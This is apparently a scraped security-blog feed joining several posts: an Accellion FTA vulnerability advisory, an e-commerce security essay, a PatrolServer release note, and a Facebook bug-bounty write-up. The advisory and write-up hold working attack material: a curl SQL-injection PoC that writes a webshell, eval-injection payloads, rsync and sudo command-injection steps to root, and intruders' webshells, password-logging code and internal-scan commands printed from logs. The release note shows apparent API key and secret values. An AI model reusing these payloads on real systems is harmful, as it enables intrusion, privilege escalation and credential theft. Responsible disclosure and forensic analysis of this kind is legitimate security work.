        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

client_properties( ... ) 中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... ) 為最關鍵的一個函數。 在 construct_where_clause( ... ) 中可以看到參數皆使用 mysql_real_escape_string 來防禦但唯獨缺少 $client_id,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。

此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE 撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

生成的 PHP 檔案位置在

http://<fta>/courier/themes/templates/.cc.php


Known Secret-Key leads to Remote Code Execution

在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。

這個弱點的前提條件是 已知資料庫中所存的加密 KEY

這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] ) 的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 ( ) 出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:


直接透過反引號執行系統指令:

user_profile_auth(`$_POST[cmd]`);


更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。

1. Rsync 配置錯誤
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

其中模組名稱 soggycat 對 /home/soggycat/ 為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl 這隻程式進行軟體更新

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

深入觀察 yum-client.pl 後可發現在 --cdrom 參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行

所以使用如下指令:

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.


bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

即可以 root 身分執行任意指令!

後門


在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。

PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:

https://<fta>/courier/themes/templates/Redirector_Cache.php

WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:

https://<fta>/courier/themes/templates/imag.php


致謝


這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。

感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )

Timeline

  • 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
  • 2016/02/07 12:35 將報告寄至 Accellion Support Team
  • 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
  • 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
  • 2016/06/06 10:20 雙方討論定稿

參考

電商業者的資安困境?

28 July 2016 at 16:00

台灣電商網站蓬勃發展,豐富的個資、金流都吸引了攻擊者。近期刑事局 165 反詐騙網站上常看到很多電商網站面臨個資外洩的問題,新聞也不斷報導民眾因為個資外洩被詐騙集團騙取錢財。資安問題是電商業者面臨到最大的危機,民眾也很憤怒為什麼這些企業都不肯把資安做好。但我相信,電商網站的業主也是有苦難言。不少企業知道該把資安做好,有些可能不得其法,也可能什麼都做了,卻還是無法防止自己的網站出現在 165 詐騙排行的榜單上。

對於無心於資安的業者來說,被揭露這樣的資訊會有一定程度的力量迫使他們把資安做好。但對於已經顧全資安的業者來說,則是摸不著頭緒到底個資從哪邊外洩的。今天我們就來談談,到底電商網站的資安問題是什麼,民眾的個資又是怎麼外洩的。

電商網站的困境

目前電商網站常見的困境有幾點:

  1. 自行開發網站存在漏洞
  2. 委外開發網站存在漏洞,但承包商不處理
  3. 內部員工電腦遭入侵外洩個資
  4. 配合廠商個資外洩,如金流商、物流商
  5. 攻擊者用已外洩帳號密碼登入電商網站
  6. 買家在詐騙集團的賣場交易

黑色產業的發展比大家想像中都還要盛行,若企業對攻擊者來說有利可圖,駭客組織會不擇手段入侵取得資料。因此對網站本身、網站周遭系統、企業內部員工、或者以社交工程手法,只要能取得資料都會是他們下手的目標。

自行開發網站存在漏洞

這是目前企業最需要先解決的問題。若網站本身資安體質不好,則會輕易被攻擊者入侵。資安問題往往都是企業內部最難解的問題,道高一尺魔高一丈,若沒有經過完整的滲透測試,則難以找出問題的根源。找到了問題之後,開發人員的教育訓練、資安機制、資安設備,都會是企業接下來要面對的課題。

解決方案:滲透測試、資安顧問、教育訓練

委外開發網站存在漏洞,但承包商不處理

不少企業沒有自己開發網站,而是發包給外部廠商開發、維運。承包商的品質通常難以掌控,價格戰的業界生態,更讓開發的品質難以提升。但業者最頭大的是:承包商拒絕處理漏洞。若沒有在一開始的委外合約就明訂資安維護標準,在日後發生資安事件時則難以要求承包商修補漏洞。因此建議業者在日後的委外開發案,明訂資安標準、驗收時檢附第三方滲透測試報告,並且將日後資安維護合約獨立於一般維護約之外,強制執行。

解決方案:選商標準、開標規格、驗收標準、資安維護合約

內部員工電腦遭入侵外洩個資

除了伺服器之外,客戶端也是攻擊者下手的目標。當網站難以被入侵,攻擊者就會轉往員工電腦下手。透過社交工程、搭配惡意郵件等 APT 攻擊,入侵個人電腦後取得消費者個資,甚至做為跳板滲透企業內部擴大攻擊成果。若沒有足夠的資安意識,員工將會是企業最大的資安缺口。

解決方案:強化資安思維、權限最小化、APT 防禦

配合廠商個資外洩,如金流商、物流商

當企業裡裡外外都防禦好了,個資還在外洩,到底發生什麼事情了呢?別忘了一個電商網站有各種與外界橋接的服務,例如交易的金流、運輸的物流。若搭配的外部系統遭到入侵,個資一樣會被取得。但民眾、媒體只會覺得「我在這家電商平台買東西被詐騙」,而怪罪到企業本身。企業有責任要求配合的廠商一同將資安、個資把關好。

解決方案:配合廠商的資安規範、滲透測試

攻擊者用已外洩帳號密碼登入電商網站

資安的責任並不僅在企業,有的時候消費者本身帳號的安全也會影響到電商網站的清譽。目前民眾只要接收到詐騙電話,直覺都會是在某個店家的交易被駭,被取得資料後販售給詐騙集團,因而回報給 165 等反詐騙專線。這種案例也會算在電商網站的帳上,但卻不一定是電商網站的問題。這樣的攻擊手法也俗稱「撞庫」。

解決方案:企業間的聯防、提供使用者帳號保護

買家在詐騙集團的賣場交易

只要有利可圖,詐騙集團就會無所不用其極的想獲取利益。當系統已經達成基本的安全、使用者外洩的帳號也已經無法利用之後,詐騙集團將再攻擊人性的漏洞,開設販賣熱門商品的賣場,吸引無辜的受害者購買。或者在賣場的留言區塊假冒賣家,留下自己的 LINE 與消費者溝通,進行詐騙。

解決方案:消費者安全宣導

電商業者該如何自保?

只要有利益的地方,就會有資安危機。雖說道高一尺魔高一丈,但業者並非只能等著被宰。經營網站最重要的就是保護顧客的資料,明白風險的所在。盤點手上的個資位置、機制、措施,謹慎安排資安規劃,確保將安全的風險降到最低。更進一步也可以建立與資安人員良好的關係,公開漏洞通報管道及獎勵機制,鼓勵資安人員優先通報漏洞給企業,避免流入黑色產業。當然,身為消費者的我們,也應該給予負責的企業掌聲。

在未來我們的文章將提到企業應該採取的具體作為,敬請期待!

PatrolServer 1.1.0

What better way to start the summer than with a brand new release of PatrolServer, we’ve very proud to announce version 1.1.0 is now available to all of you.

No matter how you use PatrolServer, whether it’s the API, or our dashboard and scanner, you’re going to love this new version. We integrated the most requested features, polished both the front and back-end and made the entire experience a whole lot faster. We put a strong focus on developers past months, keep on reading for more exciting news. You’ll love this as much as we do, for sure!

Filtering

Technically speaking, filtering cards is not a new feature, it has been enabled for most accounts for the past few months. Today, the feature is officially out of beta phase. We’ve been tweaking the ability to filter cards under the hood, as well as restoring cards is now possible by clicking the “restore” button. Below is a small demonstration on how you can filter out unwanted cards.

Verification with Bash Scanner

In the previous version, verifying your server was only possible by us sending an email to the administrator account of the domain or by uploading a HTML file to your server. We decided to put Bash Scanner a little more in the spotlight (seriously, you’ll benefit the best of the features when installing Bash Scanner), thus the new default verification method is now by using the scanner.

If you prefer to use alternative methods such as uploading the HTML file or by using email, they are still there under the “Alternate methods” tab.

Reminders

Server reminders has been the most requested feature of the past few months. Basically what it does is, at each chosen interval (either weekly or monthly), we’ll send you a reminder of all the issues on your servers over various mails. The new “Mail settings” page gives you more control over what emails you’ll get and which ones you’d like to exclude.

Analytics

You can now see detailed analytics data for your scanned servers. It might take some time until PatrolServer gathered enough information over a various amount of time, but analytics gives you a status over time of your current servers.

We also got graphs available to display the amount of exploits and vulnerabilities over time, but we leave those up to you to discover. If you’d like to visit the brand new analytics page, click on your server name on the left top, and select “Graphs”, it’s next under the filter view.

Looking at our own internal analytics has been a lot of fun, we hope you like them as much as we do!

For Developers

Brand new API documentation

PatrolServer is a service for developers to keep track of outdated software on their servers. We run a daily scan on your servers, to make sure you run updated software. We would like to make it easy for you developers to integrate with our services and delivery across many platforms. Our powerful APIs are here to provide you a smooth integration with your own project. Our developer tools allow you to access your own data within the PatrolServer architecture. Our ultimate goal is to cover most virtual facets of PatrolServer, for you to integrate whenever you want.

Developers can now enjoy the brand new API documentation pages. They are much more structured and provide examples for all interactions with the PatrolServer API.

Visit the API documentation now!

PHP SDK

The PHP SDK provides a stable interface to implement PatrolServer functionality in your own applications. The SDK makes integration child’s play. Take a look at the example below on how easy it is to intercept when your server finished scanning. You can do all kind of interactions after.

// Use the Singleton or create a separate PatrolSdk\Patrol object
use PatrolSdk\Singleton as Patrol;

Patrol::setApiKey('194786f61ea856b6468c0c41fa0d4bdb');
Patrol::setApiSecret('DC360a34e730ae96d74f545a286bfb01468cd01bb191eed49d9e421c2e56f958');

Patrol::webhook('scan_finished', function ($event) {
    $server_id = $event['server_id'];

    if ($server_id) {
        // Get the Server object from the server_id
        $server = Patrol::server($server_id);

        // Get the installed software
        $software = $server->allSoftware();
    }
});

Take a look at the PatrolServer PHP SDK on GitHub, we’ve also written a Laravel Facade with various other features such as automatically updating composer modules the moment they become outdated.

Under the hood

We detect a whole lot more software than ever before, thus we had to tweak performance in order to provide the same smooth experience as before. The team and I have rewritten card generation from scratch, with better performance in mind. We now extensively rely on caching mechanisms, as well as pre-generating data when users are the least active on our platform (eg; at midnight, we perform more resource heavy tasks than during the day).

On average, resource heavy actions are at-least 60% faster than before.

Nowadays, we support a vast majority of the most popular npm modules. We’ve added 80.000 more npm modules to the scanner and we’re counting. The PatrolServer scanner is able to find over 160.000 different installed software (+ modules, packages, …) on your server.

Feel free to give our new changes a try, and as always, thank you for using PatrolServer!

Changelog:

  • Send me mails about my server status (setting)
  • Send me mails about PatrolServer news (setting)
  • Remind me about my server statusses (setting)
  • Quick link from account settings to API settings
  • Remove account (setting)
  • Webhooks event log viewer
  • Bash Scanner is first verification option
  • Support phpMyAdmin
  • Support Joomla!
  • npm now has +30.000 modules
  • Support Magento
  • Card creation from scan results is rewritten from scratch
  • Card creation is up to 50% faster
  • Caching cards
  • Software comparer rewritten from scratch
  • Modal in/out animations
  • Logs in/out animations
  • Filtering cards
  • Add a location filter manually
  • Clear filters from hidden cards itself
  • Loading the app is remarkably faster
  • Tons of app bugfixes
  • Tons of app minor layout fixes & improvements
  • Mini scanners have a new layout
  • API documentation has a new style
  • Bucket API documentation

滲透 Facebook 的思路與發現

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


寫在故事之前

身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <( ̄︶ ̄)>

當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 “範圍” 有多大,姑且可以評估一下從何處比較有機會下手。例如:

  • Google Hacking 到什麼資料?
  • 用了幾個 B 段的 IP ? C 段的 IP ?
  • Whois? Reverse Whois?
  • 用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
  • 公司平常愛用什麼樣技術、設備?
  • 在 Github, Pastebin 上是否有洩漏什麼資訊?
  • …etc

當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

  1. 對多數大公司而言,”網路邊界” 是比較難顧及、容易出現問題的一塊,當公司規模越大,同時擁有數千、數萬台機器在線,網管很難顧及到每台機器。在攻防裡,防守要防的是一個面,但攻擊只需找個一個點就可以突破,所以防守方相對處於弱勢,攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
  2. 對於 “連網設備” 的安全意識相對薄弱,由於連網設備通常不會提供 SHELL 給管理員做進一步的操作,只能由設備本身所提供的介面設定,所以通常對於設備的防禦都是從網路層來抵擋,但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
  3. 人的安全,隨著 “社工庫” 的崛起,有時可以讓一次滲透的流程變得異常簡單,從公開資料找出公司員工列表,再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透,尤其當社工庫數量越來越多 “量變成質變” 時只要關鍵人物的密碼在社工庫中可找到,那企業的安全性就全然突破 :P

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。


弱點發現

在同網段中,發現一台特別的伺服器

files.fb.com

files.fb.com ↑ files.fb.com 登入介面


從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

弱點中可直接從 “/tws/getStatus” 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

  1. 網頁端介面主要由 Perl 以及 PHP 構成
  2. PHP 原始碼皆經過 IonCube 加密
  3. 在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…

經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

shell on facebook ↑ 使用 Pre-Auth SQL Injection 寫入 Webshell


在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P

Facebook 大致有以下限制:

  1. 防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法
  2. 存在遠端的 Syslog 伺服器
  3. 開啟 Auditd 記錄

無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。


似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

PHP error log ↑ PHP error log


跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

Webshell on facebook server ↑ Webshell on facebook server


其中幾個檔案的內容如下

sshpass

沒錯,就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// 省略...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “sclient_user_class_standard.inc” 這個檔案

include_once 中 “sclient_user_class_standard.inc.orig” 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)

發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 “@fb.com” 或是 “@facebook.com” 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式

  1. 一般用戶註冊,密碼 Hash 存在資料庫,由 SHA256 + SALT 儲存
  2. Facebook 員工 (@fb.com) 則走統一認證,使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼,**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外,這名 “駭客” 可能習慣不太好 :P

  1. 後門參數皆使用 GET 來傳遞,在網頁日誌可以很明顯的發現他的足跡
  2. 駭客在進行一些指令操作時沒顧慮到 STDERR ,導致網頁日誌中很多指令的錯誤訊息,從中可以觀察駭客做了哪些操作


從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


打包檔案

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


對內部網路結構進行探測

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

Port Scanning

嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

certificate of files.fb.com



後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD

